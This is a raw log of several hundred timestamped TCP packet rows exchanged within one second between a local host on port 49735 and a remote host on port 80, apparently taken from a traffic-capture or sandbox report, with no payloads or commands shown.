Apr 23, 2024 09:38:11.613096952 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613101959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613110065 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613117933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613127947 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613133907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613145113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613149881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613157988 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613166094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613176107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613182068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613185883 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613197088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613202095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613212109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613217115 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613226891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613234043 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613243103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613248110 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613259077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613265038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613276005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613284111 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613291979 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613301039 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613307953 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613312960 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613323927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613331079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613339901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613348961 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613357067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613360882 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613372087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613379002 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613389015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613396883 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613404989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613409042 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613420963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613435984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613437891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613449097 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613451958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613467932 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613475084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613482952 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613497972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613501072 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613513947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613523960 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613529921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613545895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613549948 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613560915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613571882 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613576889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613593102 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613598108 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613609076 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613619089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613625050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613641024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613646984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613656998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613670111 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613672972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613689899 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613694906 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613706112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613717079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613720894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613737106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613742113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613753080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613765955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613769054 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613785982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613792896 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613801956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613815069 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613818884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613835096 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613840103 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613852024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613862991 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613867044 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613883018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613890886 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613898993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613913059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613917112 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613929033 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613930941 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613944054 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613955021 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613960028 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613967896 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613976002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613986015 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613991022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613997936 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614006996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614016056 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614022017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614033937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614037991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614049911 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614053011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614062071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614069939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614073992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614085913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614093065 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614103079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614109039 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614118099 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614125013 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614135027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614136934 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614150047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614154100 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614162922 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614166021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614181995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614197969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614206076 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614206076 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614212990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614213943 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614229918 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614231110 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614243031 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614247084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614263058 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614263058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614279032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614284992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614299059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614303112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614317894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614317894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614334106 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614335060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614346981 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614351988 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614367962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614372969 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614379883 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614383936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614398956 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614399910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614415884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614419937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614430904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614434004 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614447117 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614449024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614464998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614465952 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614480972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614484072 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614495993 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614496946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614512920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614515066 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614526987 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614528894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614545107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614545107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614561081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614566088 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614576101 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614577055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614593029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614598036 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614609003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614624977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614626884 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614639997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614640951 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614656925 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614665985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614674091 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614689112 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614689112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614706039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614711046 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614722013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614734888 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614738941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614748001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614754915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614765882 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614770889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614777088 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614785910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614797115 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614800930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614814997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614816904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614825964 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614834070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614842892 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614849091 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614855051 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614865065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614872932 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614881039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614891052 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614897966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614907026 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614913940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614923954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614929914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614934921 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614945889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614953995 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614960909 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614975929 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614976883 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614980936 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.614991903 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.614999056 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615009069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615014076 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615025043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615031958 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615041018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615046978 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615057945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615065098 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615072966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615082979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615088940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615103960 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615111113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615120888 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615137100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615144014 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615151882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615169048 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615175962 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615184069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615191936 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615200043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615214109 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615215063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615230083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615231037 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615246058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615252018 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615262032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615277052 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615278959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615294933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615304947 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615310907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615319967 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615325928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615335941 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615343094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615355968 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615358114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615367889 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615374088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615379095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615389109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615395069 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615406036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615412951 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615422010 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615431070 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615437984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615442038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615453959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615459919 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615469933 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615477085 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615484953 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615494967 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615500927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615506887 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615516901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615525961 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615533113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615541935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615550041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615557909 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615565062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615575075 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615581036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615586996 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615597010 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615603924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615612984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615621090 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615628958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615638971 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615643024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615658998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615660906 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615674019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615679026 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615689993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615700960 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615705967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615720987 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615729094 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615736961 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615752935 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615755081 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615767956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615775108 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615783930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615797997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615798950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615814924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615823030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615832090 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615848064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615849018 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615864038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615869999 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615880013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615895033 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615895987 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615902901 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615911007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.615921974 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.615926981 CEST	80	49735	185.172.128.228	192.168.2.4
